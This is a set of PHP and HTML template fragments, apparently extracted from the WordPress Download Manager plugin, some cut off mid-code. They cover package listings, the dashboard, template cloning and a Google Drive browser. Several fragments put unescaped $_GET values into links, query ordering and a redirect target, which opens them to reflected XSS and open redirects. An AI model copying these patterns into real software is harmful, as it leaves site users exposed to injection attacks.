function Packages($params = array('items_per_page' => 10, 'title' => false, 'desc' => false, 'order_by' => 'date', 'order' => 'desc', 'paging' => false, 'toolbar' => 1, 'template' => '', 'cols' => 3, 'colspad' => 2, 'colsphone' => 1, 'tags' => '', 'categorirs' => '', 'year' => '', 'month' => '')) { $params['order_by'] = isset($params['order_field']) && $params['order_field'] != '' && !isset($params['order_by']) ? $params['order_field'] : $params['order_by']; $scparams = $params; $defaults = array('items_per_page' => 10, 'title' => false, 'desc' => false, 'order_by' => 'date', 'order' => 'desc', 'paging' => false, 'toolbar' => 1, 'template' => 'link-template-panel', 'cols' => 3, 'colspad' => 2, 'colsphone' => 1); $params = shortcode_atts($defaults, $params, 'wpdm_packages'); if (is_array($params)) { extract($params); } $cwd_class = "col-md-" . (int) (12 / $cols); $cwdsm_class = "col-sm-" . (int) (12 / $colspad); $cwdxs_class = "col-xs-" . (int) (12 / $colsphone); if (isset($id)) { $id = trim($id, ", "); $cids = explode(",", $id); } global $wpdb, $current_user, $post, $wp_query; if (isset($order_by) && !isset($order_field)) { $order_field = $order_by; } $order_field = isset($order_field) ? $order_field : 'date'; $order_field = isset($_GET['orderby']) ? $_GET['orderby'] : $order_field; $order = isset($order) ? $order : 'desc'; $order = isset($_GET['order']) ? $_GET['order'] : $order; $cp = wpdm_query_var('cp', 'num'); if (!$cp) { $cp = 1; } $params = array('post_type' => 'wpdmpro', 'paged' => $cp, 'posts_per_page' => $items_per_page, 'include_children' => false); if (isset($scparams['month']) && $scparams['month'] != '') { $params['monthnum'] = $scparams['month']; } if (isset($scparams['year']) && $scparams['year'] != '') { $params['year'] = $scparams['year']; } if (isset($scparams['day']) && $scparams['day'] != '') { $params['day'] = $scparams['day']; } if (isset($scparams['search']) && $scparams['search'] != '') { $params['s'] = $scparams['search']; } if (isset($scparams['tag']) && $scparams['tag'] != '') { $params['tag'] = $scparams['tag']; } if (isset($scparams['tag_id']) && $scparams['tag_id'] != '') { $params['tag_id'] = $scparams['tag_id']; } if (isset($scparams['tag__and']) && $scparams['tag__and'] != '') { $params['tag__and'] = explode(",", $scparams['tag__and']); } if (isset($scparams['tag__in']) && $scparams['tag__in'] != '') { $params['tag__in'] = explode(",", $scparams['tag__in']); } if (isset($scparams['tag__not_in']) && $scparams['tag__not_in'] != '') { $params['tag__not_in'] = explode(",", $scparams['tag__not_in']); } if (isset($scparams['tag_slug__and']) && $scparams['tag_slug__and'] != '') { $params['tag_slug__and'] = explode(",", $scparams['tag_slug__and']); } if (isset($scparams['tag_slug__in']) && $scparams['tag_slug__in'] != '') { $params['tag_slug__in'] = explode(",", $scparams['tag_slug__in']); } if (isset($scparams['categories']) && $scparams['categories'] != '') { $operator = isset($scparams['operator']) ? $scparams['operator'] : 'OR'; $params['tax_query'] = array(array('taxonomy' => 'wpdmcategory', 'field' => 'slug', 'terms' => explode(",", $scparams['categories']), 'include_children' => isset($scparams['include_children']) && $scparams['include_children'] != '' ? $scparams['include_children'] : false, 'operator' => $operator)); } if (get_option('_wpdm_hide_all', 0) == 1) { $params['meta_query'] = array(array('key' => '__wpdm_access', 'value' => '"guest"', 'compare' => 'LIKE')); if (is_user_logged_in()) { global $current_user; $params['meta_query'][] = array('key' => '__wpdm_access', 'value' => $current_user->roles[0], 'compare' => 'LIKE'); $params['meta_query']['relation'] = 'OR'; } } $order_fields = array('__wpdm_download_count', '__wpdm_view_count', '__wpdm_package_size_b'); if (!in_array("__wpdm_" . $order_field, $order_fields)) { $params['orderby'] = $order_field; $params['order'] = $order; } else { $params['orderby'] = 'meta_value_num'; $params['meta_key'] = "__wpdm_" . $order_field; $params['order'] = $order; } $params = apply_filters("wpdm_packages_query_params", $params); $packs = new \WP_Query($params); $total = $packs->found_posts; $pages = ceil($total / $items_per_page); $page = isset($_GET['cp']) ? $_GET['cp'] : 1; $start = ($page - 1) * $items_per_page; if (!isset($paging) || intval($paging) == 1) { $pag = new \WPDM\libs\Pagination(); $pag->items($total); $pag->nextLabel(' ► '); $pag->prevLabel(' ◄ '); $pag->limit($items_per_page); $pag->currentPage($page); } $burl = get_permalink(); $url = $_SERVER['REQUEST_URI']; //get_permalink(); $url = strpos($url, '?') ? $url . '&' : $url . '?'; $url = preg_replace("/[\\&]*cp=[0-9]+[\\&]*/", "", $url); $url = strpos($url, '?') ? $url . '&' : $url . '?'; if (!isset($paging) || intval($paging) == 1) { $pag->urlTemplate($url . "cp=[%PAGENO%]"); } $html = ''; $templates = maybe_unserialize(get_option("_fm_link_templates", true)); if (isset($templates[$template])) { $template = $templates[$template]['content']; } //global $post; while ($packs->have_posts()) { $packs->the_post(); $pack = (array) $post; $repeater = "<div class='{$cwd_class} {$cwdsm_class} {$cwdxs_class}'>" . \WPDM\Package::FetchTemplate($template, $pack) . "</div>"; $html .= $repeater; } wp_reset_query(); $html = "<div class='row'>{$html}</div>"; if (!isset($paging) || intval($paging) == 1) { $pgn = "<div style='clear:both'></div>" . $pag->show() . "<div style='clear:both'></div>"; } else { $pgn = ""; } global $post; $sap = get_option('permalink_structure') ? '?' : '&'; $burl = $burl . $sap; if (isset($_GET['p']) && $_GET['p'] != '') { $burl .= 'p=' . $_GET['p'] . '&'; } if (isset($_GET['src']) && $_GET['src'] != '') { $burl .= 'src=' . $_GET['src'] . '&'; } $orderby = isset($_GET['orderby']) ? $_GET['orderby'] : 'create_date'; $order = ucfirst($order); $title = isset($title) && $title != '' ? "<h3>{$title}</h3>" : ""; return "<div class='w3eden'>" . $title . $desc . $html . $pgn . "<div style='clear:both'></div></div>"; }
/** * Enqueue admin scripts & styles */ function enqueueScripts() { if (get_post_type() == 'wpdmpro' || in_array(wpdm_query_var('page'), array('settings', 'emails', 'wpdm-stats', 'templates', 'importable-files', 'wpdm-addons', 'orders', 'pp-license'))) { wp_enqueue_script('jquery'); wp_enqueue_script('jquery-form'); wp_enqueue_script('jquery-ui-core'); wp_enqueue_script('jquery-ui-tabs'); wp_enqueue_script('jquery-ui-datepicker'); wp_enqueue_script('jquery-ui-slider'); wp_enqueue_script('jquery-ui-sortable'); wp_enqueue_script('jquery-ui-timepicker', WPDM_BASE_URL . 'assets/js/jquery-ui-timepicker-addon.js', array('jquery', 'jquery-ui-core', 'jquery-ui-datepicker', 'jquery-ui-slider')); wp_enqueue_style('icons', plugins_url() . '/download-manager/assets/css/icons.css'); wp_enqueue_script('thickbox'); wp_enqueue_style('thickbox'); wp_enqueue_script('media-upload'); wp_enqueue_media(); wp_enqueue_script('jquery-choosen', plugins_url('/download-manager/assets/js/chosen.jquery.min.js'), array('jquery')); wp_enqueue_style('choosen-css', plugins_url('/download-manager/assets/css/chosen.css')); wp_enqueue_style('jqui-css', plugins_url('/download-manager/assets/jqui/theme/jquery-ui.css')); wp_enqueue_script('wpdm-bootstrap', plugins_url('/download-manager/assets/bootstrap/js/bootstrap.min.js'), array('jquery')); wp_enqueue_script('wpdm-admin', plugins_url('/download-manager/assets/js/wpdm-admin.js'), array('jquery')); wp_enqueue_style('font-awesome', WPDM_BASE_URL . 'assets/font-awesome/css/font-awesome.min.css'); wp_enqueue_style('wpdm-bootstrap', plugins_url('/download-manager/assets/bootstrap/css/bootstrap.css')); wp_enqueue_style('wpdm-bootstrap-theme', plugins_url('/download-manager/assets/bootstrap/css/bootstrap-theme.min.css')); wp_enqueue_style('wpdm-admin-styles', plugins_url('/download-manager/assets/css/admin-styles.css')); } }
/** * @usage Short-code function for front-end UI * @return string */ function Dashboard() { global $current_user; wp_reset_query(); $currentAccess = maybe_unserialize(get_option('__wpdm_front_end_access', array())); $task = get_query_var('adb_page'); $task = explode("/", $task); if ($task[0] == 'edit-package') { $pid = $task[1]; } if ($task[0] == 'page') { $task[0] = ''; set_query_var('paged', $task[1]); } $task = $task[0]; if (!array_intersect($currentAccess, $current_user->roles) && is_user_logged_in()) { return "<div class='w3eden'><div class='alert alert-danger'>" . wpautop(stripslashes(get_option('__wpdm_front_end_access_blocked', __('Sorry, Your Are Not Allowed!', 'wpdmpro')))) . "</div></div>"; } $id = wpdm_query_var('ID'); $tabs = array(); $tabs = apply_filters('wpdm_frontend', $tabs); $burl = get_permalink(); $sap = strpos($burl, '?') ? '&' : '?'; ob_start(); include \WPDM\Template::Locate('author-dashboard.php'); $data = ob_get_clean(); return $data; }
/** * @usage Preview link/page template */ function Preview() { error_reporting(0); $wposts = array(); $template = wpdm_query_var("template", "html"); $type = wpdm_query_var("_type", "html"); $args = array('post_type' => 'wpdmpro', 'posts_per_page' => 1); $wposts = get_posts($args); $html = ""; foreach ($wposts as $p) { $package = (array) $p; $html .= FetchTemplate($template, $package, $type); } if (count($wposts) == 0) { $html = "<div class='col-md-12'><div class='alert alert-info'>" . __('No package found! Please create at least 1 package to see template preview', 'wpdmpro') . "</div> </div>"; } $html = "<div class='w3eden'>" . $html . "</div><div style='clear:both'></div>"; echo $html; die; }
} </style> <div class="wpdm-front"><br> <form id="wpdm-pf" action="" method="post"> <div class="row"> <div class="col-md-8"> <input type="hidden" id="act" name="act" value="<?php echo wpdm_query_var('task', 'txt') == 'edit-package' ? '_ep_wpdm' : '_ap_wpdm'; ?> " /> <input type="hidden" name="id" id="id" value="<?php echo wpdm_query_var('id', 'num'); ?> " /> <div class="form-group"> <input id="title" class="form-control input-lg" placeholder="Enter title here" type="text" value="<?php echo isset($post->post_title) ? $post->post_title : ''; ?> " name="pack[post_title]" /><br/> </div> <div class="form-group"> <?php $cont = isset($post) ? $post->post_content : ''; wp_editor(stripslashes($cont), 'post_content', array('textarea_name' => 'pack[post_content]')); ?> </div>
function wpdm_embed_category($params = array('id' => '', 'operator' => 'IN', 'items_per_page' => 10, 'title' => false, 'desc' => false, 'order_field' => 'create_date', 'order' => 'desc', 'paging' => false, 'toolbar' => 1, 'template' => '', 'cols' => 3, 'colspad' => 2, 'colsphone' => 1)) { extract($params); $fnparams = $params; if (!isset($id)) { return; } if (!isset($items_per_page)) { $items_per_page = 10; } if (!isset($template)) { $template = 'link-template-calltoaction3.php'; } if (!isset($cols)) { $cols = 1; } if (!isset($colspad)) { $colspad = 1; } if (!isset($colsphone)) { $colsphone = 1; } if (!isset($toolbar)) { $toolbar = 1; } $taxo = 'wpdmcategory'; if (isset($tag) && $tag == 1) { $taxo = 'post_tag'; } $cwd_class = "col-md-" . (int) (12 / $cols); $cwdsm_class = "col-sm-" . (int) (12 / $colspad); $cwdxs_class = "col-xs-" . (int) (12 / $colsphone); $id = trim($id, ", "); $cids = explode(",", $id); global $wpdb, $current_user, $post, $wp_query; $order_field = isset($order_field) ? $order_field : 'publish_date'; $order_field = isset($_GET['orderby']) ? $_GET['orderby'] : $order_field; $order = isset($order) ? $order : 'desc'; $order = isset($_GET['order']) ? $_GET['order'] : $order; $operator = isset($operator) ? $operator : 'IN'; $cpvar = 'cp_' . $cids[0]; $cp = wpdm_query_var($cpvar, 'num'); if (!$cp) { $cp = 1; } $params = array('post_type' => 'wpdmpro', 'paged' => $cp, 'posts_per_page' => $items_per_page, 'include_children' => false, 'tax_query' => array(array('taxonomy' => $taxo, 'field' => 'slug', 'terms' => $cids, 'operator' => $operator))); if (get_option('_wpdm_hide_all', 0) == 1) { $params['meta_query'] = array(array('key' => '__wpdm_access', 'value' => 'guest', 'compare' => 'LIKE')); if (is_user_logged_in()) { global $current_user; $params['meta_query'][] = array('key' => '__wpdm_access', 'value' => $current_user->roles[0], 'compare' => 'LIKE'); $params['meta_query']['relation'] = 'OR'; } } $params['orderby'] = $order_field; $params['order'] = $order; $params = apply_filters("wpdm_embed_category_query_params", $params); $packs = new WP_Query($params); $total = $packs->found_posts; $pages = ceil($total / $items_per_page); $page = isset($_GET[$cpvar]) ? $_GET[$cpvar] : 1; $start = ($page - 1) * $items_per_page; if (!isset($paging) || $paging == 1) { $pag = new \WPDM\libs\Pagination(); $pag->items($total); $pag->nextLabel(' ► '); $pag->prevLabel(' ◄ '); $pag->limit($items_per_page); $pag->currentPage($page); } $burl = get_permalink(); $url = $_SERVER['REQUEST_URI']; //get_permalink(); $url = strpos($url, '?') ? $url . '&' : $url . '?'; $url = preg_replace("/[\\&]*{$cpvar}=[0-9]+[\\&]*/", "", $url); $url = strpos($url, '?') ? $url . '&' : $url . '?'; if (!isset($paging) || $paging == 1) { $pag->urlTemplate($url . "{$cpvar}=[%PAGENO%]"); } $html = ''; $templates = maybe_unserialize(get_option("_fm_link_templates", true)); if (isset($templates[$template])) { $template = $templates[$template]['content']; } global $post; while ($packs->have_posts()) { $packs->the_post(); $pack = (array) $post; $repeater = "<div class='{$cwd_class} {$cwdsm_class} {$cwdxs_class}'>" . FetchTemplate($template, $pack) . "</div>"; $html .= $repeater; } wp_reset_query(); $html = "<div class='row'>{$html}</div>"; $cname = array(); foreach ($cids as $cid) { $cat = get_term_by('slug', $cid, $taxo); $cname[] = $cat->name; } $cats = implode(", ", $cname); //Added from v4.2.1 $desc = ''; if (isset($fnparams['title']) && $fnparams['title'] != false && intval($fnparams['title']) != 1) { $cats = $fnparams['title']; } if (isset($fnparams['desc']) && $fnparams['desc'] != false && intval($fnparams['desc']) != 1) { $desc = $fnparams['desc']; } if (isset($fnparams['desc']) && $fnparams['desc'] == 1) { $desc = term_description($cids[0], $taxo); } $cimg = ''; $subcats = ''; if (function_exists('wpdm_ap_categories') && $subcats == 1) { $schtml = wpdm_ap_categories(array('parent' => $id)); if ($schtml != '') { $subcats = "<fieldset class='cat-page-tilte'><legend>" . __('Sub-Categories', 'wpdmpro') . "</legend>" . $schtml . "<div style='clear:both'></div></fieldset>" . "<fieldset class='cat-page-tilte'><legend>" . __('Downloads', 'wpdmpro') . "</legend>"; $efs = '</fieldset>'; } } if (!isset($paging) || $paging == 1) { $pgn = "<div style='clear:both'></div>" . $pag->show() . "<div style='clear:both'></div>"; } else { $pgn = ""; } global $post; $sap = get_option('permalink_structure') ? '?' : '&'; $burl = $burl . $sap; if (isset($_GET['p']) && $_GET['p'] != '') { $burl .= 'p=' . $_GET['p'] . '&'; } if (isset($_GET['src']) && $_GET['src'] != '') { $burl .= 'src=' . $_GET['src'] . '&'; } $orderby = isset($_GET['orderby']) ? $_GET['orderby'] : 'create_date'; $order = ucfirst($order); $order_field = " " . __(ucwords(str_replace("_", " ", $order_field)), "wpdmpro"); $ttitle = __('Title', 'wpdmpro'); $tdls = __('Downloads', 'wpdmpro'); $tcdate = __('Publish Date', 'wpdmpro'); $tudate = __('Update Date', 'wpdmpro'); $tasc = __('Asc', 'wpdmpro'); $tdsc = __('Desc', 'wpdmpro'); $tsrc = __('Search', 'wpdmpro'); $order_by_label = __('Order By', 'wpdmpro'); if ($toolbar || get_option('__wpdm_cat_tb') == 1) { $toolbar = <<<TBR <div class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <!-- Brand and toggle get grouped for better mobile display --> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#">{$cats}</a> </div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1"> <ul class="nav navbar-nav navbar-right"> <li class="dropdown"> <a href="#" class="dropdown-toggle" data-toggle="dropdown">{$order_by_label} {$order_field} <b class="caret"></b></a> <ul class="dropdown-menu"> <li><a href="{$burl}orderby=title&order=asc">{$ttitle}</a></li> <!-- li><a href="{$burl}orderby=download_count&order=desc">{$tdls}</a></li --> <li><a href="{$burl}orderby=publish_date&order=desc">{$tcdate}</a></li> </ul> </li> <li class="dropdown"> <a href="#" class="dropdown-toggle" data-toggle="dropdown">{$order} <b class="caret"></b></a> <ul class="dropdown-menu"> <li><a href="{$burl}orderby={$orderby}&order=asc">{$tasc}</a></li> <li><a href="{$burl}orderby={$orderby}&order=desc">{$tdsc}</a></li> </ul> </li> </ul> </div><!-- /.navbar-collapse --> </div><!-- /.container-fluid --> </div> TBR; } else { $toolbar = ''; } return "<div class='w3eden'>" . $toolbar . $cimg . $desc . $subcats . $html . $pgn . "<div style='clear:both'></div></div>"; }
<?php $invoice = wpdm_query_var('invoice', 'txt') ? wpdm_query_var('invoice', 'txt') : ''; if ($invoice != '') { $oorder = new Order(); $order = $oorder->GetOrder($invoice); if ($order->uid != 0) { $invoice = ''; } } $redirect = isset($_GET['redirect_to']) ? $_GET['redirect_to'] : get_permalink(get_the_ID()); ?> <div class="w3eden be-member"> <div style="width: 350px;max-width: 98%;margin: 50px auto"> <div class="btn-group btn-group-justified" id="be-member-btns"> <a href="#wpdmlogin" data-toggle="tab" class="btn btn-info btn-lg active"><?php _e('Log In', 'wpdmpro'); ?> </a> <a href="#wpdmregister" data-toggle="tab" class="btn btn-info btn-lg"><?php _e('Register', 'wpdmpro'); ?> </a> </div> <div class="tab-content">
function wpdm_embed_tree() { if (wpdm_query_var('task', 'txt') != 'wpdm_tree') { return; } global $wpdb; $cats = get_terms('wpdmcategory', array('hide_empty' => false)); echo "<ul class=\"jqueryFileTree\" style=\"display: none;\">"; // All Cats $scat = wpdm_query_var('dir') == '/' ? '' : wpdm_query_var('dir', 'txt'); foreach ($cats as $id => $cat) { if ($cat->parent == intval($scat)) { echo "<li class=\"directory collapsed\"><a href=\"#\" rel=\"" . $cat->term_id . "\">" . $cat->name . "</a></li>"; } } // All files $params = array('post_type' => 'wpdmpro', 'posts_per_page' => 9999); //if($scat!='') $params['tax_query'] = array(array('taxonomy' => 'wpdmcategory', 'field' => 'term_id', 'terms' => $scat, 'include_children' => false)); $packs = new WP_Query($params); while ($packs->have_posts()) { $packs->the_post(); $files = maybe_unserialize(get_post_meta(get_the_ID(), '__wpdm_files', true)); if (count($files) == 1) { $ext = explode(".", $files[0]); $ext = end($ext); } if (count($files) > 1) { $ext = 'zip'; } if (!is_array($files) || count($files) == 0) { $ext = '_blank'; } if (wpdm_query_var('ddl', 'int') == 0 || wpdm_is_locked(get_the_ID())) { echo "<li class=\"file ext_{$ext}\"><a href='" . get_permalink(get_the_ID()) . "' rel='" . get_permalink(get_the_ID()) . "'>" . get_the_title() . "</a></li>"; } else { echo "<li class=\"file ext_{$ext}\"><a href='" . wpdm_download_url(get_the_ID()) . "' rel='" . wpdm_download_url(get_the_ID()) . "'>" . get_the_title() . "</a></li>"; } } echo "</ul>"; die; }
$default['page'] = '[thumb_700x400] <br style="clear:both"/> [description] <fieldset class="pack_stats"> <legend><b>Package Statistics</b></legend> <table class="table table-bordered"> <tr><td>Total Downloads:</td><td>[download_count]</td></tr> <tr><td>Stock Limit:</td><td>[quota]</td></tr> <tr><td>Total Files:</td><td>[file_count]</td></tr> </table> </fieldset><br> [download_link]'; $ttype = isset($_GET['_type']) ? esc_attr($_GET['_type']) : 'link'; $tpl = maybe_unserialize(get_option("_fm_{$ttype}_templates", array())); if (wpdm_query_var('tplid', 'txt') != "") { $tpl = isset($tpl[wpdm_query_var('tplid', 'txt')]) ? $tpl[wpdm_query_var('tplid', 'txt')] : array(); } $tpl['content'] = isset($tpl['content']) ? $tpl['content'] : $default[$ttype]; if (isset($_GET['clone']) && $_GET['clone'] != '') { $ltpldir = get_stylesheet_directory() . '/download-manager/' . $ttype . '-templates/'; if (!file_exists($ltpldir) || !file_exists($ltpldir . basename($_GET['clone']))) { $ltpldir = WPDM_BASE_DIR . 'tpls/' . $ttype . '-templates/'; } if (file_exists($ltpldir . basename($_GET['clone']))) { $template = file_get_contents($ltpldir . basename($_GET['clone'])); $regx = isset($_GET['_type']) && $_GET['_type'] == 'link' ? "/<\\!\\-\\-[\\s]*WPDM[\\s]+Link[\\s]+Template[\\s]*:([^\\-\\->]+)\\-\\->/" : "/<\\!\\-\\-[\\s]*WPDM[\\s]+Template[\\s]*:([^\\-\\->]+)\\-\\->/"; $type = ucfirst($_GET['_type']); $tpl['title'] = "New {$ttype} Template"; $tpl['content'] = preg_replace($regx, "", $template); } }
} wpdm_categories_checkboxed_tree($cparent, $term_list); echo "</ul>"; ?> </div> </div> <div class="panel panel-default"> <div class="panel-heading"><b><?php _e('Main Preview Image', 'wpdmpro'); ?> </b></div> <div class="inside"> <div id="img"><?php if (has_post_thumbnail(wpdm_query_var('id', 'num'))) { $thumbnail_id = get_post_thumbnail_id(wpdm_query_var('id', 'num')); $thumbnail_url = wp_get_attachment_image_src($thumbnail_id, 'full', true); ?> <p><img src="<?php echo $thumbnail_url[0]; ?> " width="240" alt="preview" /><input type="hidden" name="file[preview]" value="<?php echo $thumbnail_url[0]; ?> " id="fpvw" /></p> <a href="#" id="rmvp" class="text-danger">Remove Featured Image</a> <?php } else { ?> <a href="#" id="wpdm-featured-image"> </a> <input type="hidden" name="file[preview]" value="" id="fpvw" />
} ?> </a></th> <th style="" class="manage-column column-media" id="media" scope="col" align="center"><a href='<?php echo $burl . $sap; ?> sfield=publish_date&sorder=<?php echo wpdm_query_var('sorder') == 'asc' ? 'desc' : 'asc'; echo $qr; ?> &paged=<?php echo $paged; ?> '><span>Publish Date</span> <?php if (wpdm_query_var('sfield') == 'publish_date') { echo wpdm_query_var('sorder') == 'asc' ? '<i class="fa fa-chevron-up" style="color:#D2322D;margin-left:10px"></i>' : '<i class="fa fa-chevron-down" style="color:#D2322D;margin-left:10px"></i>'; } ?> </a></th> <th style="" class="manage-column column-media" id="media" scope="col" align="center">Status</th> <th style="" class="manage-column column-media" id="media" scope="col" align="center">Actions</th> </tr> </tfoot> <tbody class="list:post" id="the-list"> <?php while ($res->have_posts()) { $res->the_post(); global $post; ?> <tr valign="top" class="alternate author-self status-inherit" id="post-<?php
function Explore() { if (wpdm_query_var('page', 'txt') != 'wpdm-google-drive' || !current_user_can('edit_posts')) { return; } $wpdm_google_drive = maybe_unserialize(get_option('__wpdm_google_drive', array())); if (!isset($wpdm_google_drive['api_key']) || $wpdm_google_drive['api_key'] == '') { wp_die("Missing Google Drive API Credentials! <a href='edit.php?post_type=wpdmpro&page=settings&tab=cloud-storage' target='_blank'>Configure Here</a>"); } echo "<!DOCTYPE html><html><head></head><body>"; $client = new Google_Client(); $client->setClientId($wpdm_google_drive['client_id']); $client->setClientSecret($wpdm_google_drive['client_secret']); $client->addScope(Google_Service_Drive::DRIVE); $client->addScope(Google_Service_Drive::DRIVE_FILE); $client->addScope(Google_Service_Drive::DRIVE_READONLY); $client->addScope(Google_Service_Drive::DRIVE_APPDATA); $client->addScope(Google_Service_Drive::DRIVE_APPS_READONLY); $client->addScope(Google_Service_Drive::DRIVE_METADATA_READONLY); $client->setRedirectUri(admin_url('/?page=wpdm-google-drive')); $access_token = isset($_SESSION['wpdmgd_access_token']) ? $_SESSION['wpdmgd_access_token'] : ''; if ($access_token == '') { $auth_url = $client->createAuthUrl(); if (isset($_GET['code'])) { $_SESSION['gacode'] = $_GET['code']; $client->authenticate($_GET['code']); ?> <script> window.opener.location = window.opener.location; window.close(); </script> <?php } else { ?> <script src="<?php echo includes_url('/js/jquery/jquery.js'); ?> "></script> <link rel="stylesheet" href="<?php echo WPDM_BASE_URL; ?> bootstrap/css/bootstrap.css"/> <link rel="stylesheet" href="<?php echo WPDM_BASE_URL; ?> font-awesome/css/font-awesome.min.css"/> <link href='http://fonts.googleapis.com/css?family=Open+Sans:400,800' rel='stylesheet' type='text/css'> <style> .w3eden *:not(.fa) { font-family: 'Open Sans', arial, helvetica, sans-serif; font-size: 10pt; } td, th { vertical-align: middle !important; } </style> <div class="w3eden"> <table style="width: 100%;height: 300px"> <tr> <td style="vertical-align: middle;text-align: center"> <a class="btn btn-danger" href="#" onclick='window.open("<?php echo $auth_url; ?> ", "_blank", "toolbar=yes, scrollbars=yes, resizable=yes, top=500, left=500, width=400, height=400");return false;'><i class="fa fa-google"></i> Login to Google Drive</a> </td> </tr> </table> </div> <?php //echo '<script>window.open("'.$auth_url.'", "_blank", "toolbar=yes, scrollbars=yes, resizable=yes, top=500, left=500, width=400, height=400");</script>'; die; } $access_token = $client->getAccessToken(); $_SESSION['wpdmgd_access_token'] = $access_token; die; } else { $client->setAccessToken($access_token); } if ($client->isAccessTokenExpired()) { $access_token = ''; unset($_SESSION['wpdmgd_access_token']); try { $code = isset($_SESSION['gacode']) ? $_SESSION['gacode'] : ''; $client->authenticate($code); $NewAccessToken = json_decode($client->getAccessToken()); $client->refreshToken($NewAccessToken->refresh_token); } catch (Exception $e) { $auth_url = $client->createAuthUrl(); ?> <script src="<?php echo includes_url('/js/jquery/jquery.js'); ?> "></script> <link rel="stylesheet" href="<?php echo WPDM_BASE_URL; ?> bootstrap/css/bootstrap.css"/> <link rel="stylesheet" href="<?php echo WPDM_BASE_URL; ?> font-awesome/css/font-awesome.min.css"/> <link href='http://fonts.googleapis.com/css?family=Open+Sans:400,800' rel='stylesheet' type='text/css'> <style> .w3eden *:not(.fa) { font-family: 'Open Sans', arial, helvetica, sans-serif; font-size: 10pt; } td, th { vertical-align: middle !important; } </style> <div class="w3eden"> <table style="width: 100%;height: 300px"> <tr> <td style="vertical-align: middle;text-align: center"> <a class="btn btn-danger" href="#" onclick='window.open("<?php echo $auth_url; ?> ", "_blank", "toolbar=yes, scrollbars=yes, resizable=yes, top=500, left=500, width=400, height=400");return false;'><i class="fa fa-google"></i> Login to Google Drive</a> </td> </tr> </table> </div> <?php //echo '<script>window.open("'.$auth_url.'", "_blank", "toolbar=yes, scrollbars=yes, resizable=yes, top=500, left=500, width=400, height=400");</script>'; die; } } $service = new Google_Service_Drive($client); $result = array(); $pageToken = NULL; do { try { $parameters = array(); if ($pageToken) { $parameters['pageToken'] = $pageToken; } $files = $service->files->listFiles($parameters); $filelist = array_merge($result, $files->getItems()); $pageToken = $files->getNextPageToken(); ?> <script type='text/javascript' src='<?php echo admin_url(); ?> /load-scripts.php?c=1&load[]=jquery-core,jquery-migrate,utils,jquery-ui-core,jquery-ui-widget,jquery-ui-mouse,plupload,json2,jquery-ui-datepicker,jquery-ui-s&load[]=lider&ver=4.1'></script> <link rel="stylesheet" href="<?php echo WPDM_BASE_URL; ?> bootstrap/css/bootstrap.css"/> <script src="<?php echo WPDM_BASE_URL; ?> bootstrap/js/bootstrap.min.js"></script> <link rel="stylesheet" href="<?php echo WPDM_BASE_URL; ?> font-awesome/css/font-awesome.min.css"/> <link href='http://fonts.googleapis.com/css?family=Source+Sans+Pro:300,600' rel='stylesheet' type='text/css'> <style> .w3eden *:not(.fa) { font-family: 'Source Sans Pro', sans-serif; font-size: 11pt; font-weight: 300; } td, th { vertical-align: middle !important; } .tab-content { border: 1px solid #ddd; border-top: 0; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; } .table { margin: 0 !important; } .w3eden .table > thead > tr > th { border-bottom: 1px solid #dddddd !important; color: #555 !important; font-weight: 600; } #gdfilelist{ margin: 10px 30px;text-align: left; } .w3eden .btn-sm{ padding: 3px 8px !important; font-size: 9pt; } </style> <div class="w3eden"> <ul class="nav nav-tabs" role="tablist"> <li class="active"><a href="#gdbrowse" data-toggle="tab">Browse</a></li> <li><a href="#gdupload" data-toggle="tab">Upload</a></li> </ul> <div class="tab-content"> <div class="tab-pane fade in active" id="gdbrowse"> <table class='table table-striped'> <thead> <tr> <th>File Name</th> <th>Size</th> <th>Action</th> </tr> </thead> <tbody> <?php foreach ($filelist as $file) { if ($file->originalFilename != '') { echo "<tr><td class='lead'>" . $file->originalFilename . "</td><td>" . number_format($file->fileSize / (1024 * 1024), 3) . " MB</td><td><button class='btn btn-success btn-sm insert-glink' data-id='" . $file->id . "' data-link='" . $file->webContentLink . "'><i class='fa fa-plus'></i></button> <button class='btn btn-danger btn-sm text-danger remove-glink' data-id='" . $file->id . "' data-link='" . $file->webContentLink . "'><i class='fa fa-trash-o'></i></button></td></tr>"; } } ?> </tbody> </table> </div> <div class="tab-pane fade" id="gdupload"> <?php if (version_compare(WPDM_Version, '4.0.0', '>')) { ?> <table style="width: 100%;height: 90%"> <tr> <td style="vertical-align: middle;text-align: center"> <div id="gdrive-upload-ui" class="hide-if-no-js"> <div id="gdrive-drag-drop-area" style="border: 2px dashed #dddddd;margin: 10px"> <div class="drag-drop-inside" style="margin: 50px auto"> <p class="drag-drop-info"><?php _e('Drop files here'); ?> </p> <p><?php _ex('or', 'Uploader: Drop files here - or - Select Files'); ?> </p> <p class="drag-drop-buttons"><input id="gdrive-browse-button" type="button" value="<?php esc_attr_e('Select Files'); ?> " class="btn btn-danger"/></p> </div> </div> </div> <?php $plupload_init = array('runtimes' => 'html5,silverlight,flash,html4', 'browse_button' => 'gdrive-browse-button', 'container' => 'gdrive-upload-ui', 'drop_element' => 'gdrive-drag-drop-area', 'file_data_name' => 'gdrive_upload', 'multiple_queues' => true, 'max_file_size' => wp_max_upload_size() . 'b', 'url' => admin_url('admin-ajax.php'), 'flash_swf_url' => includes_url('js/plupload/plupload.flash.swf'), 'silverlight_xap_url' => includes_url('js/plupload/plupload.silverlight.xap'), 'filters' => array(array('title' => __('Allowed Files'), 'extensions' => '*')), 'multipart' => true, 'urlstream_upload' => true, 'multipart_params' => array('_ajax_nonce' => wp_create_nonce('google_drive_upload'), 'action' => 'google_drive_upload')); // we should probably not apply this filter, plugins may expect wp's media uploader... $plupload_init = apply_filters('plupload_init', $plupload_init); ?> <script type="text/javascript"> var filecount = 0; jQuery(document).ready(function ($) { // create the uploader and pass the config from above var uploader = new plupload.Uploader(<?php echo json_encode($plupload_init); ?> ); // checks if browser supports drag and drop upload, makes some css adjustments if necessary uploader.bind('Init', function (up) { var uploaddiv = jQuery('#gdrive-upload-ui'); if (up.features.dragdrop) { uploaddiv.addClass('drag-drop'); jQuery('#gdrive-drag-drop-area') .bind('dragover.wp-uploader', function () { uploaddiv.addClass('drag-over'); }) .bind('dragleave.wp-uploader, drop.wp-uploader', function () 